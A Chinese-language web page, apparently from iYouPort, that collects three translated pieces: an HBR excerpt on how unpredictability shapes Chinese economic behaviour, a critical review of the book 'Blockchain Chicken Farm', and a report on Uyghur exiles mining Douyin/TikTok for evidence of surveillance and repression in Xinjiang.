如果她1955年出生在世界上几乎任何其他主要经济体，她的生活会更加可预测。但是，回顾她的人生故事，我们可以看到，为什么今天甚至许多年轻的中国人可能会感到对未来的可预测性或信任度降低，或者对他们的政府下一步可能做什么感到怀疑。

当生活是（或在人们的记忆中是）不可预测的时候，人们倾向于对潜在的长期结果采用比短期结果更高的贴现率，而且这个贴现率比生活在更稳定的社会中的人采用的贴现率要高。这并不是说这些人不关心长期的结果，而是说随着时间的延长，他们的风险规避明显增加。这影响了他们做出长期承诺的方式，特别是那些需要短期权衡或损失判断的承诺。

因此，许多中国消费者更喜欢股票市场的短期收益，而不是把他们的钱锁在长期储蓄工具中【原文如此，但这不实；缺乏安全感的人们更倾向于存钱而不是投机】。正如市场研究不断告诉我们的那样，大多数中国个人投资者的行为更像交易员。

例如，2015年的一项调查发现，81%的人每月至少交易一次，尽管频繁的交易无一例外地是破坏而不是创造长期基金价值的方式。这一数字高于所有西方国家（例如，只有53%的美国个人投资者如此频繁地进行交易）；这一数字甚至高于香港—— 另一个偏爱赌博的汉族社会，以及类似的免资本利得税制度。这表明，中国大陆有一些独特的东西影响了这种行为：长期的不可预测性，这种不可预测性最近已经被那些现在购买股票的人所经历或了解。

这种对短期收益的关注是上海的年轻资产经理为了一个相对较小但直接的加薪而离开长期的好工作的原因 —— 这种行为仍然困扰着中国许多试图保留人才和管理继任管道的企业。承担长期职业风险的人往往是在满足了他们对短期安全的主要需求之后才这样做的。例如，我们采访过一些夫妇，其中妻子成为中国众多女性企业家中的一员，因为她丈夫稳定但收入较低的国家部门工作将为家庭提供安全保障。

越来越多的中国人投资于一个长期资产类别，即 住宅物业，其所有权从1988年25至69岁的人的14%增长到2008年的93%，这也是由安全需求驱动的。与所有其他资产不同的是，在一个社会福利有限、政策突然变化的系统中，房产可以确保在出问题时有一个屋顶。

相比之下，政府对未来的贴现率较低—— 部分原因是其对以控制为主旨的列宁主义的强调—— 而且明确地侧重于长期回报。这种投资的大部分工具仍然是中国共产党的苏式五年计划，其中包括习近平所说的围绕太阳能技术、“智能城市” 和高密度节能住房的 “生态文明”

的发展。如果没有国家干预，这样的雄心壮志是无法实现的—— 在中国，这种干预相对快速和容易，但往往是残酷的。相比之下，西方经济体在这些问题上的进展极为缓慢。

个人和国家关于如何投资的决定都有一个目的：在一个不可预知的世界中提供安全和稳定。尽管许多西方国家可能认为中国在其21世纪的全球计划中只看到了机会，但其动机却非常不同。在其动荡的现代历史中，中国一直受到外国势力的威胁，包括亚洲内部（特别是日本）和外部（19世纪中期的英国和法国）。因此，中国的统治者认为外国的参与与其说是机会的来源，不如说是威胁、不确定性，甚至是羞辱。他们仍然将自己的许多不幸归咎于外国的干涉，即使那些干涉发生在一个多世纪以前。例如，英国在19世纪40年代的鸦片战争中扮演的角色开启了中国人至今仍称之为 “屈辱世纪” 的100年历史。中国的历史继续影响着它对国际关系的看法—— 这在很大程度上解释了它目前对其主权不可侵犯性的痴迷。

这段历史也解释了中国的统治者和被统治者在非常不同的时间框架内运作的悖论。对于经历过他们无法控制的严酷时代的个人来说，他们的反应是以一种比西方人更短期的方式做出一些关键的选择。相比之下，政策制定者，为了寻找对未来获得更多控制权和主权的方法，现在比西方人玩的游戏要长得多。这种对可预测性的共同追求解释了以控制为核心原则的专制制度的持续吸引力。

- ○ ■ ■ ■ 西方的许多人接受了北京向世界展示的中国的版本。邓小平在1978年开始的 “改革开放” 时期，强调要避免文化大革命中的激进和往往是暴力的政治，这意味着意识形态在中国不再重要。现实却截然不同。自1949年以来，中国共产党一直是塑造中国人民的机构、社会和日常经验的核心。而且该党一直相信并强调中国历史和马克思列宁主义思想的重要性，以及它们所意味着的一切。除非西方公司和政客接受这一现实，否则他们将继续误解中国。○

A version of this article appeared in the May–June 2021 issue of *Harvard Business Review*.

原文

技术改变了中国人生活本身的质感，但是呢... - iyouport

关于中国社会

这本热门的烂书，不仅仅是烂的问题。它引出的是一个值得警惕的危险。

当 Logic 创意总监王晓伟的科技回忆录《区块链鸡场》读到一半时，我看到一家位于深圳的基因公司开创了一种可持续的、节省空间的方式，使用转基因大豆进行数据存储，有那么一瞬间，我相信它是真的。毕竟，《区块链养鸡场》到目前为止已经 “带” 我去了贵阳的农场，并向我展示了大数据如何培训人工智能农民和优化养猪。大豆DNA数据存储正是区块链养鸡场中国和硅谷的那种无法无天的未来主义创新，硅谷将噱头与进步混为一谈，并经常招致诸如 “创业公司的想法：为那些想读书而不买书的人租书。我愿意支付5美元，每月租几本书”。

但我也感到困惑，因为在王的叙述中，他们在中国的旅程，除非你本来就知道得更多，否则很少有坚实的基础可以从猜测中解析出推论，从概括中解析出事实。用王的话说，《区块链养鸡场》试图 “[看到] 中国农村的技术”，以便 “面对技术带来的更可怕的问题。现在活着做人意味着什么？” 不可能的强烈反差关系随时都会出现，因为这就是濒临城市化的中国农村的那种异想天开的地方。

在王的讲述中，技术已经改变了农村，这要归功于为响应专制领导人习近平在2017年提出的农村振兴战略而进行的大科技投资热潮。（王的研究表明，这本书的大部分内容发生在2016年和2018年之间，但不清楚他们在中国总共花了多少时间）。网易和阿里巴巴等科技公司利用中央政府在农村启动数字农业项目的目标，“就像谷歌决定把自己变成联合国的一个分支机构，或者就像亚马逊决定突然要向阿巴拉契亚的一个采煤镇提供援助，帮助其公民创办糖果企业，并给他们提供亚马逊支持的贷款”。这个比喻虽然朗朗上口，但最终却框定了王对中国在其熟悉的大城市之外的理解的近视性。《区块链养鸡场》的核心随着王越来越远离与具体事物的接触和正在发生的转型的物质现

实而断裂。

王这本书的肤浅令人愤怒，因为它探讨的主题正是研究的来源，它面对的是我们今天与劳动、技术、资本主义和政府的关系中最紧迫和最具全球性的方面。Uber希望更像亚马逊；亚马逊的行为越来越像中国的快递和服务平台，如美团；美团希望更像一家银行 …… 技术不仅改变了中国城乡经济的结构，而且，也改变了生活本身的质地。王，一个内心深处的技术乐观主义者，认为必须有关键的方法来重新调整冷战时期的道德二元对立的残余，以服务于更分散的创新定义和更包容、更公平的科技产业，这将导致一个更美好的世界。

在科技报道、回忆录和投机小说之间的三角关系中，《区块链养鸡场》在形式上的试验要部分地归咎于王的结论的天真性。在没有明确行程的情况下，各章节不规则地穿梭于全国各地，偶尔回到王在湾区的家，为原本主题相邻的情节牺牲了逻辑上的连贯性，或对一系列农场工人、应用程序用户和科技公司的简介，以激昂的好奇心寻找着这一切。

正是这种激情，最终阻止了王修复其中的盲点。王最初被中国农村所吸引，是为了纠正他所谓的 “metronormativity”，这是他从同性恋理论家 Jack Halberstam 那里借用的概念，最初描述了神话般的同性恋迁移模式，从生活在刻板的落后和不容忍的农村，到在城市成为快乐和解放的人。王认为 “我们对抗元规范性的能力将决定我们共同的未来。我们跨越城市、村庄和国界，被物质环境所束缚，相互交织在一起”。王希望读者在21世纪社会变革的宏大历史中不再以城市自我为中心，但这种虚构的城市自我是以一个任意的跨太平洋的假设为前提的，这个假设实际上在 “城市” 美国和 “农村” 中国之间形成了一种二分法。王的城市性基准主要包括日常技术的使用，因此，当被问及为什么区块链养鸡场的农民无法回答什么是区块链时，它形成了一个整齐的段子。

王试图通过揭示应用程序、软件和难以捉摸的数字基础设施是如何与通常被归入中美叙事的边缘人群的生活纠缠在一起，来挑战西方对中国酷炫的摩天大楼的特权，以及硅谷对规模和效率的痴迷。但这种边缘化是以另一种错误的城乡二元结构为前提的。在现实中，中国的 “农村” 从未远离 —— 北京或上海等一线城市的许多城市人的父母都在农村；农民工不断重构城市化的边界。在试图与那些红色封面上有龙的中国书籍类型保持距离、以及（明智地）绕过作为美国人而不是亚裔美国人写作的敏感身份政治时，《区块链养鸡场》最终落入了自己制造的陷阱。

公平地说，在当前的中美语话环境下，文学作品的生存机会很渺茫。对中国的批评倾向于从方便的讽刺开始，或与历史进行简单的联系（例如，倾向于将每一个想法追溯到儒家思想或“秦始皇”）。将中国人人性化，你就有可能被贴上“中共同情者”的标签。这并不是说在现代中国进行民族志研究是不可能的，而是说，它比以往任何时候都需要对你的意图有更多的鉴别力和诚实度。在一个封闭的世界里，想要从新闻业的角度看出点什么的赌注是很高的。

王不需要成为农村政策专家才能写这么一本本质上是“吃、祈祷、人工智能”的书，但要处理一个像“中国农村”这样具有历史争议的主题，至少需要一个基本的背景。

虽然“农村”可以是一个具有特殊地理特征的独特地方，但“农村”一直是一个政治虚构。在这本书的开头，不清楚王如何定义“农村”，也不清楚他如何区分农业经营者、农村人口、农民，或任何数量的术语。《连线》杂志的一次采访暴露了王对做出这些区分缺乏兴趣，他说：“有很多地方和遭遇没有被写进书里，因为它们已经成为无摩擦的、线性的、被无缝归入了全球资本主义的一部分。我还访问了无数其他村庄，这些村庄以旅游业和电子商务为中心，他们的经济发展计划经过深思熟虑，与整个北美和欧洲的许多地方并无大的区别”。

通过对中国农村在全球资本主义经济中的地位进行这样的类比，王最终反映了风险资本家将物质条件分解为概念性部分的倾向，只看到了最低的共同点，而不是关键的差异。

同样引人注目的是，补贴是中国当前农村政策的一个基本方面，也是2018年美中贸易战的一个主要障碍，但是，在任何关于王所到的“农村”地区经济发展的讨论中，都没有提到补贴。

相反，他把中国农民浪漫化了，认为他们是诗意的、永恒存在的宇宙观的继承者，可以在一个焦虑进步的美国社会中激发变革。如果农民或农村户口持有者在他们自己的国家不是事实上的二等公民，这就不会如此令人反感了。20世纪50年代引入的两级户籍制度将人口分为农业（农村）和非农业（城市）户口，部分是为了控制国内流民和防止城市动乱，至少在开始时是这样。如果王能把我现在不得不说的历史也包括进去，那么我们可以把目前对“农村”的政策使用，也就是王所说的集体化的遗产，追溯到20世纪80年代和90年代的“改革开放”时代，最终导致了后十年末的三农危机。

在这一时期，农村劳动力成为沿海城市扩大的、以出口为导向的经济的附属品；由于农村人口放弃耕作而转向城市工业，农村收入下降；

由于农民的税收负担没有得到政府的救济，村庄与公共债务作斗争。后来，胡锦涛所谓的“社会主义新农村”所引入的农业资本主义对缩小城乡贫富差距并没有什么作用，对减缓农村内部的不平等也没有什么作用。在习近平治下，扶贫这把双刃剑既是经济上的需要，也是其统治的合法性来源。

简而言之，贫穷加之被剥夺权利，在中国做一个农民真的很糟糕。阿里巴巴人工智能实验室的数字农业投资再多，也不会转化为政治赋权，只是作为增加的收入，回流到这些科技巨头设计和拥有的消费周期和劳动剥削中（如每年的双11购物节及其庞大的物流业）。

因此，在没有相应的数据或分析的情况下，读到“由于中国是一个建立在实验基础上的国家，农村振兴很可能成功地在农村创造可持续的增长”这样无条件的推论时，立即就会产生怀疑。(去年11月，中国宣布“全国范围内已经消除了极端贫困”，我们能相信吗？) 通过将动态的城乡流动平移到一个抽象的、永恒的农村，王无意中遵循了本能，走向了一个类似于中国政府在其新自由化议程中用来动员农民的战略本质主义（正如许多研究中国农村的学者所指出的）。

报道科技对中国农村的影响，并询问硅谷能从这些变革中学习什么，而至少不承认使中国的“未来主义”创新成为可能的自上而下的国家政策的历史背景，或者询问硅谷和中国科技有哪些共同的物质条件 —— 提示：临时工、垄断 —— 这可以使这样一个对比研究才有意义，而不仅仅是一本政治上时髦的脑洞手册。

王热衷于的一个创新模式是被称为山寨的二度生产现象，并在哲学上进行了投入。但我不确定王是否理解山寨的真正含义（他们所说的“山寨戈达尔电影”是指盗版DVD，而山寨《Breathless》实际上是电影本身的廉价翻拍），或者他是否意识到将山寨作为开源制造和开发精神的总称是一种讽刺。从山寨手机和手袋演变而来的实验性模式在2010年代初已经被宣布为后山寨，那是中国加入WTO后的第一个十年，政府开始了知识产权改革，包括打击和国家品牌运动，“从中国制造到中国创造”（正如杨帆在《在中国造假》中详细分析的那样）。可以说王对“山寨”这个词进行了山寨，因为廉价的、无政府的重新编排确实是其核心所在。

对2020年的硅谷来说，“山寨”代表了从科技精英那里“去殖民化技术”的潜力：“我认为山寨是一个动词，用来施展一种不同的魔力。去*山寨。把协议变成实践，把我们绑在一起，而不是把权威集中起来。把对规模的崇拜扭转过来，更新我们对关怀的承诺”。虽然这种情绪是一种有价值的尝试，从根本上改变了我们对知识产权的思考，

但是，想要在一个不稳定的农民工阶层的劳动中找到创造性的表达，却没有考虑到他们的情况，感觉像是一种文学殖民主义的形式。王与一个在山寨零件厂每天工作18小时的人谈论“关心的承诺”，可能会增加什么？

这种缺乏严谨性的做法限制了王作为通讯员的可信度。他从一个村子跳到另一个村子，并进入科技公司的办公室进行采访，他们的对话遵循着这样一种模式：“我现在在X市，与Y会面，以了解更多关于Z的情况”。在一个介绍水稻种植合作社的章节中，他的报告听起来就像一个叙述性的公关牌。在另一章中，王跟随有争议的网红“机械妖姬”吴淖米到处走动，语气要么是单维的敬畏，要么是异步的反思。“一个有色人种被说成是在创新，这种情况有多少次？”，王问道，好像他在中国看到一个中国网红时就看到了一个有色人种。这段话可以用Twitter上一个亚裔美国人的调侃来概括：“我在中国：哇，这里每个人都有一个亚洲女朋友”。

就好像王不断地在概念上短路，如果不回到美国的参考点，就无法跟进他们面前的东西 —— 这种模式在科技文学中并不罕见，其中任何一页的价值都是由其包含的可操作的见解来衡量的。尽管如此，王还是意识到他们作为美国旅行者的局外人的特权，至少就他们在中国受到的特殊待遇以及观察者-旅行者的角色如何限制了他们直接的道德责任的范围。在早期对天津的访问中，听他的祖母讲述在共产党之前的中国的成长经历，王很快就得出结论：“我的祖母一直在面对过去，她无法在不谈论政治事件的情况下讲述她的个人故事”—— 考虑到王后来在不谈论政治事件的情况下根据人们的个人经历写了一整本书，这种观察具有讽刺意义。

几章之后，时间回到几年前，在与一个朋友，一个内蒙古前科犯的同行中，王描述他自己的“汉族美国侨民，受过哈佛教育，尽职尽责的美国公民和纳税人”身份时，写道，“当特权处于抽象状态时，很容易对它感到内疚。相反，我看着他，拉着他的手”。但是，在中国，美国护照所提供的行动自由并不抽象（在冠状病毒大流行之前），与当地一个被压制的少数民族的前罪犯所受到的监视形成鲜明对比，他可能永远无法离开这个国家，也无法享受任何数量的国家福利项目。

也许是感觉到了这种不平等的堕落的死胡同，王从这个联系的时刻跳到了对监视的沉思：

监视 …… 实际上与种族、民族和白人至上主义对犯罪的建构有着深刻的联系。正如平台将风险卸载给临时工一样，不受约束的资本主义造成了经济不平等，并将风险和恐惧卸载给了我们所有人。正如活动

家 *Tawana Petty* 所说，这是认识到 “安全” 和 “保障” 之间的区别。这项工作与变革性正义和废除监狱的工作紧密相连。除非我们做这项工作，否则将无法超越监视作为正常化的趋势，将无法充分地倡导所有人的隐私权。

王的内蒙古朋友的生活故事有可能有更多的内容，可能会激发一段慷慨激昂的独白，最后为普遍的自由和正义发出模糊的集结号，书中省略了故事的细节以保护他。但是，除了暴露出把被剥夺权利的人的痛苦当作抽象概念本身的缺点之外，为什么还要包括这段轶事呢？即使我们接受王对全球资本主义监禁体制的批评，但断言监控与 “白人至上主义的犯罪构造” 紧密相连，却忽视了中国政府自己的监控传统，也没有援引新疆的监控状态，说得好听点这就是失忆了。从中国腹地进行报道，只是为了得出任何最近做 **Instagram** 幻灯片的自由主义者都可以告诉我们的东西，这似乎特别老套。

在为《区块链养鸡场》中省略掉的新疆镇压做辩护时，王在播客采访中解释说：”好吧，第一，要真正尊重所有的事，我不是一个新疆学者。我想让身为专家的人谈谈这个问题。但是第二，人们只会说，是啊，新疆种族灭绝，警察国家，然后这些也发生在美国，只是对美国的警察国家完全无所谓”。在该书的序言中，王的免责声明警告说，在书中提到特定的科技公司并不等同于认可。为什么同样的道理不应该适用于政治事件呢？如果书稿设法包括了 Covid-19 和2019年香港的抗议活动，那为什么还要隐晦地介绍新疆，说它是 “中国一个动荡的地区，负责中国84%的棉花生产”—— 特别是考虑到在书中其他地方能让人感到有点试探性地自由预测乡村振兴的成功，而习近平的扶贫战略的一部分难道包括在新疆强迫劳动？与其鼓励他们的读者 “批判性地参与学者和记者的工作，以了解科技公司在维持全球种族资本主义方面的作用”，那为什么不在书中批判北京对这种作用的参与呢？

《区块链养鸡场》是一个依赖于中美之间的噱头项目，它所体现的症状，如果我们不小心，可能就会凝聚成一个流派：“社会正义旅游”。与它的前身生态旅游类似，社会正义旅游是一种伪民族志，它有选择地将其目的地作为概念上的捷径，以使世界主义利益在本土合法化，而没有将两个地方之间的任何实际联系历史化。

这本书是一个旅程，从成为一个意外的他者开始（“在中国南部江西和广东交界处的一个小村庄里，被几十只针头大小的黑虫子包围着”），到坐在 “黄昏时分香港一个安静的露台酒吧里，进行必须完成的工作” 的灵感时刻结束，在那里 “城市已经成为一个充满奇怪对比的世界，当人们购买睫毛膏时，防暴警察在化妆品店外站岗 …… 热

带空气中弥漫着淡淡的甜味，充满了香港殖民时代和帝国衰落的痕迹”。(哪些人物？ 什么衰落，哪个帝国的衰落？）对拆除 “元规范性” 的追求最终被困在它开始的城市基础上。

当我们接受美国文化理论家 Sianne Ngai 对噱头的解读时，王的作品最终谴责了自己，因为它是一个在形式上贫困的东西，具有虚假的价值要求。”总是令人怀疑，即使从未完全不受欢迎……从根本上说是无偿的，但又是奇怪的必要 …… 资本主义最成功的审美类别”。

作为科技报告文学，《区块链鸡场》在解释科技如何改变中国农村，在使之与王自称的 “左派政治” 息息相关方面还有待改进；作为回忆录，它未能使读者相信中国农村的动态生活力量引导了王的任何思考，相反，它仅仅是证实了他们对科技乐观主义未来的偏见假设。而作为投机性的宣言—— 嗯，想象一下，坚持一路走到中国来写关于硅谷的中国未来主义小说 —— 这个建立在类比之上的旅程，作为智力上的抄近路捷径，本身就变成了一个资本主义项目，其中对一个乐观的未来的投资是基于对现在的非历史性的唤起。

最后，阅读《区块链养鸡场》激活的怀疑与王所迷恋的后山寨科技创新并没有什么不同。与其将社区和关怀的修辞合理化，伸向一个首先不需要被改造的外国概念，不如从朋友的山寨店中买点空投的山寨商品，将所有利润捐给RISE：“澳大利亚第一个由难民、寻求庇护者和前被拘留者经营和管理的难民和寻求庇护者组织”，这不是更好的做法吗？至少，这更有趣。〇

Social Justice Tourism

原文

抖音如何打开了进入中国警察国家的窗口 - iYouPort

关于中国社会

这不容易。曾经，GFW是为了阻止中国人出去，现在，它还同时阻止外国人进来……

「图」

「图」

学习结束后的每个晚上，Alip Erkin 都会坐在澳大利亚悉尼的家中，并在他的 Android 手机上打开视频共享应用 TikTok。

他正在寻找特别的东西：来自中国西北地区新疆的视频，这是他在2012年最后一次离开的地方。

自那时以来，新疆已迅速转变成一个广阔的警察国家，在那里，维族穆斯林被系统性地针对和监视，有超过一百万的人被关押在集中营和拘留中心。

他滚动查看着数千英里以外的房屋的视频，怀旧和苦乐参半。但是对于现年41岁的 Erkin 说，这是对中国政府不希望他看到的地方的一瞥。

打开 TikTok 应用程序后，Erkin 发现其中大部分内容对他来说都没有意义：超现实的喜剧片段、欢快的音乐演唱等等。

他说："就现实的政治情况而言，这其中的大多数视频都毫无价值。"

但是，每隔一段时间，Erkin 就会能看到一段录像，其中揭示了中国在新疆的大规模监视镇压和洗脑政策的现实状况：一段宣传集会的录像，维吾尔族人唱着歌赞扬中国共产党; 来自维吾尔族孤儿院的录像，其中有被拘留的父母的孩子；维吾尔族人群用普通话而不是其本土维吾尔语高呼；一座被拆除的清真寺 ……

他经常会发现曾经熙熙攘攘的喀什（Kashgar）家乡如今已经变得如此空旷，杳无人烟的街道景象。

最有价值的是新疆人在压迫性监视制度下生活的证据，例如，一长串维吾尔族人等待通过安检站的画面、或全副武装的新疆警察接受训练的镜头。

Erkin 在浏览 TikTok 时经常会发现一些较小的陌生细节：没有戴头巾的维吾尔族穆斯林妇女；没有胡须的男人。

他注意到自己的维吾尔族母语逐渐从路牌上消失了。他说："维吾尔文化的这些部分已经消失了，当我看到这一点时，我会感到沮丧和愤怒。"

"但是，即使是为了令我痛苦，我仍然试图继续浏览，只是出于寻求有用信息的目的。"

他发现有趣的视频后便立即对其进行下载和存档，然后对其进行检查。然后将其重新发布到他的 Twitter 页面 Uyghur Bulletin上。

新疆处于严重的信息锁定状态。中国政府声称正在打击该地区的恐怖主义和极端主义。

由于事实上被禁止与外国人联系，维吾尔族人不敢给居住在中国境外的亲人发短信或打电话。其他发布信息的方式也受到严格控制：外国记者在新疆受到严格监控，他们的相机和手机经常在每天都要经过的检查站之前清空。

对于像 Erkin 这样的激进主义者来说，对信息的极权控制造成了一个问题：明显的醒目的视觉效果不足，使全世界的人们都难以掌握新疆人道主义危机的日常现实。

国际社会缺乏协调一致的反应也许可以证明这一点。

「图」

「图」

- 上图中的文章在这里《"新第三帝国"》

特朗普政府曾因中国对维吾尔人的待遇而宣称要对中国实施制裁，但随着两国之间贸易谈判的继续，这样做的计划似乎已经消散。

一直以来，有关正在进行的镇压的具体信息都供不应求。

- 调查演示《开源调查图解新疆"再教育"营》
- 调查演示《新疆火车站戴手铐的视频是真的吗？在哪里拍摄到的？》
- 调查演示《中国新疆古老的清真寺真的被毁了吗？》
- 事实《中国的反乌托邦监视国家是美国制造的》

进入 TikTok，这是由科技巨头 Bytedance 拥有的、广受欢迎的、中国制造的视频共享应用程序。目前，全世界约有十亿人在使用它。

维吾尔族和汉族用户拍摄的成千上万来自新疆的视频每天都上传到中文 TikTok 和其他视频共享应用程序中。

庞大的视频量使当局很难对所有内容进行审查。

Erkin 是维吾尔族人全球网络的一部分，维吾尔族人捕捉到这些内容，并不断在 TikTok 上全面搜索以寻找有关新疆局势的视觉线索。

Aliye Yasin（为了保护自己的家人而改名）于8月开始使用该应用程序。她在晚餐时间打开 TikTok。她说："这是中国的午夜，大多数人都在睡觉。"她认为，包括监视新疆社交媒体内容的当局审查员也会睡觉。

Yasin 发现的最引人注目的视频之一是新疆警察局的官方帐户发布的。武装警察似乎主要是维吾尔族人，画面展示他们对共产党表示忠诚。标题是："向祖国宣誓，以保护人民的和平。"

另一个官方视频显示，大部分维吾尔族警察在中国国旗前跳舞。在他们头顶上方的标志表明，这是集体心理支持活动的一部分 —— 一个有说服力的细节，因为这些维吾尔族警察通常被要求逮捕和拘留自己的同胞。

Erkin、Yasin 和其他维吾尔族在线活动家正在使用 TikTok 内容来挑战中国官方有关其 "降低了" 在新疆的监视和拘留活动的说法。

去年7月，一位新疆官员说，"大多数人"已经从"再教育营"中获释。这引发了全球维吾尔族人愤怒的在线运动，他们张贴了他们仍然下落不明的亲戚的照片，要求当局释放他们。

人权组织说，他们没有看到任何大规模释放的证据，并称中国的声明"具有欺骗性和不可验证性"。

去年，无人机视频画面流出，显示2018年8月，警察带领数百名蒙着眼睛、戴着手铐的人出现在新疆火车站。据认为，视频中的这些人正在被送入大型拘留营。

大赦国际亚洲区主任 Nicholas Bequelin 在回应新疆官员的声明时说："作为紧急事项，必须让联合国人权调查员、独立观察员和媒体不受限制地进入该地区。"

对于 Yasin 而言，政府的声明在一定程度上激发了她的使命，即 开始搜寻 **TikTok** 以揭露新疆的现实生活。

"那个消息令我愤怒。他们的谎言刺激到我了。"她说，"我建立了一个新的抖音[Tiktok]帐户并开始寻找证据。"

这很困难：**TikTok** 视频远非理想的证据形式。大部分都是只有**9**秒钟长、质量各不相同，并且难以定位。

- 不要错过《侦探挑战游戏：快速地理定位的两种方法》
- 《全球搜罗：用于信息验证的基本地理定位工具 #OSINT 开源调查技术继续》

印第安纳州 Terre Haute 的 Rose-Hulman 理工学院助理教授 Timothy Grose 说："无法验证其准确性"。但是，他说，鉴于目前前往该地区非常困难，"任何视觉证据对于建立更加生动全面的局势情况来说都很重要。"

挖掘 TikTok 的唯一目的是希望能看到这个警察国家的内部，这是对该应用程序的非常规使用。

TikTok 并未对本文的置评请求做出回应，但它去年跃居苹果下载量最高的应用程序榜单之首，并一直停留在该位置 —— **2**月份的安装量估计"达到10亿"！

大多数人都知道它是一款在美国、欧洲和中国的青少年中非常流行的应用程序，因为它可以将用户生成的、生动花哨的短视频制成流媒体。但是很快，该应用程序就被了解其潜力的人们所采用。

去年的报道介绍了 Kalbinur Tursun 的故事，她设法逃离了新疆，但被迫把孩子留在了中国。Tursun 在伊斯坦布尔的家中随意浏览社交媒体时，看到了一个 TikTok 录像，显示了她6岁的女儿 Aisha 的视频，该视频在看似维吾尔族儿童的中国孤儿院中拍摄。这是她多年来第一次见到女儿的脸。

- 详见《维族妇女对战中国的监视国家》

尽管 Tursun 的故事似乎是一个惊人的巧合，但她并不是唯一通过 TikTok 偶然发现失踪家人消息的维吾尔族人。

去年2月，《商业内幕》报道了 Abdurahman Tohti 的故事，他住在土耳其，自2016年他的家人去新疆度假后就失踪了，此后再也没有家人的消息。

记者 Alexandra Ma 写道：“就在翻阅抖音时，他看到了熟悉的景象：黑眼睛、圆润的脸颊。那是他的4岁儿子 Abduleziz。”

在视频中，摄像机外的声音问：“祖国的名字是什么？”“中华人民共和国！”小男孩大喊着。

Tohti 的故事对澳大利亚维吾尔族活动家 Alip Erkin 来说是一个转折点。他说：“我意识到抖音 [TikTok] 是少数海外人可以从中获取一些有价值信息的平台之一。”

从事这项工作的维吾尔族人需要采取特殊的策略才能进入中文版的 **TikTok** 抖音 —— 中国版只能用中国电话访问。

☞中国的防火墙原本是为阻止中国人访问外国网站而设计的，但现在看来也正在阻止外国人进入。

「图」

「图」

上图中这本书您可以在这里下载《The Great Firewall of China: How to Build and Control an Alternative Version of the Internet》https://t.me/iyouport/6626

“看来他们正在反转GFW，而抖音就是一个很好的例子。他们想把 **TikTok** 放在外面，把抖音放在里面；那里有一种故意性，其中包含对其进行审查的元素，” 墨尔本拉筹伯大学政治与亚洲研究副教授 James Leibold 说。

他说，一天又一天，从新疆访问在线内容变得越来越困难。他认为，解决方案必须是创新性的。

一旦他们绕过防火墙并访问了中国抖音，国际上的维吾尔族人就必须

能控制应用程序的算法，向他们展示他们想要观看的视频。

“必须以某种方式对算法进行训练，” Yasin 说，“您无法直接搜索，因为它们清除了所有基于位置的搜索结果。任何使用新疆关键字的内容都会受到审查。”

- 不要错过《"你能从TikTok（抖音）中挖掘到哪些情报线索？"》

《卫报》披露，TikTok 的用户被告知要审查涉及政治敏感主题的所有视频，例如天安门广场和西藏独立等等。

此次披露是在《华盛顿邮报》的一篇报告之后进行的，该报告审查了香港的 TikTok 内容如何描绘出污蔑香港示威者的信息，几乎没有提及当前的抗议活动。

《卫报》基于泄漏文件的报告称，该应用程序“限制了其通过 TikTok 的算法管理的内容的分发”，以减少对该准则的侵犯。

TikTok 根据用户对每个视频的反应和响应，使用算法来 “定制” 被认为 最‘喜欢” 的内容 —— 就是定制人的算法暴政。

- 《当 “不作恶” 成为空谈，“定制人”将终结民主》
- 在推特上你可以做到免于被算法操纵，见《绕开推特算法噪音、使用基本运算符挖掘推特数据的方法》

Erkin 说：“为使我发布的内容更具相关性，除了维吾尔或东突厥斯坦的相关内容以外，我不会“点赞”或评论任何其他内容。我只点赞我想看的东西。” 这样，他将能看到更多相关的视频。

Yasin 说，这是一个令人惊讶的过程。“有时，算法会向我推荐最近发布的内容，而不是最受欢迎的内容，这就是我想要的。”

去年，一名维吾尔族流亡者逃离新疆，到达美国。

她随身带了中国手机 —— 对她来说是一种珍贵的商品。现在，她使用旧手机和中国的**SIM**卡，与一群维吾尔族学生一起工作，挖掘**TikTok**。

美国维吾尔族研究生 Mehmet Jan 帮助开展了该项目。他说：“我将视频分为四类。 ”根据它们是否显示政治感言、监视、清真寺毁灭、或文化灭绝来分类。

学生们打算收集证据，证明新疆正在逐渐被重新编程为以北京形象为基础的地区。政府声称正在努力消除该地区的恐怖主义。

学者 Rachel Harris 在四月份为《卫报》撰写的一篇文章中写道：“这不是针对暴力极端主义的回应，而是一场旨在消灭整个民族文化的协同性运动。”

维吾尔族妇女和汉族男人之间的婚礼是最近出现在 TikTok 的一系列视频，一直是散居在外的维吾尔族人的苦恼之源，他们把这些录像视为强迫种族同化的证据。

根据自由亚洲电台维吾尔语服务的一份报告，2017年，新疆政府出台了“维吾尔族-汉族通婚和家庭激励策略”，向已婚的维吾尔族和汉族夫妇提供10,000元人民币（合1,400美元）。

通婚在中国很少见：根据2010年的人口普查，仅0.2%的维吾尔族人与汉族人结婚。澳大利亚学者 James Leibold 也发现了通婚计划的视频证据。

4月，他发推文说，中国互联网“充斥着宣传汉族维吾尔族通婚的短片。这种殖民策略已有很长的历史 —— 使用族裔间的婚姻作为民族融合的工具。”

北京对维吾尔族的待遇是一项影响深远的运动的一部分，该运动试图外在地摆脱穆斯林少数群体的某些身份认同，并传达出更接近于占主导地位的“汉族文化的新疆”的理想形象。

通过被夷为平地的清真寺、破坏传统的维吾尔建筑、阻止维吾尔语的使用、以及激励通婚，人们深感关切的是，维吾尔族的许多生命已经永远丧失了。

在国际社会对中国监禁超过一百万维吾尔人的强烈抗议之后，中国似乎已经加大力度，通过防火墙、加强审查和误导性官方言论来掩盖其在新疆的活动。

同时，为了进一步遏制外界的批评，北京拥有的媒体充斥着描述繁华、生机勃勃的新疆的图片和故事。

政府宣传人员似乎在加倍努力以控制该地区的形象 —— 经常发布自己的 TikTok 视频。这就是信息战。

- 《"看清信息战：2019全球有组织社交媒体操纵清单"》

Twitter 用户 Eva Zheng 似乎在为中国政府工作，并定期发布 TikTok 视频，他在8月写道：“我在这里，迷失在新疆热闹的夜市中。”

Rose-Hulman 的教授 Timothy Grose 对这样的内容感到沮丧。他说：“拥有竞争性的视频并没有帮助。那些不信服的人继续遭到反事实的轰炸。”

- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》

为了抵制国家宣传的猛烈袭击，Alip Erkin 每个醒着的时间都在挖掘有关新疆的在线信息。他说：“这对我造成了巨大的心理伤害，我不得不有意识地减少屏幕时间。”

维吾尔族澳大利亚激进主义者 Arslan Hidayat 经常为抗击数字化运动而兴奋，他经常通过 WhatsApp 将其他维吾尔族的 TikTok 视频发送给同胞。

他说：“我已经与在心理层面受到困扰的人进行了交谈。” 美国学生 Mehmet Jan 承认：“这令人精神疲惫。我觉得我花太多时间上网。我不能专心其他任何事了。”

